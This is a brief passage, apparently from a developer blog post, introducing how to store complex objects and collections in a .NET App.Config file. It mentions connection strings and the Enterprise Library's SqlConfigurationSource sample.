Store complex objects including object collections in your App.Config File.
It is possible to store Connection Strings in the App.Config file see ConnectionSettings this enables you to store you settings on a SQL Server. The Enterprise Library for Sample SqlConfiguration exercises this by implementing a SqlConfigurationSource which can store and retrieve a ConfigurationSection.

So where to start? I think I show you at first the config file and explain how you can create it programtically in your application.
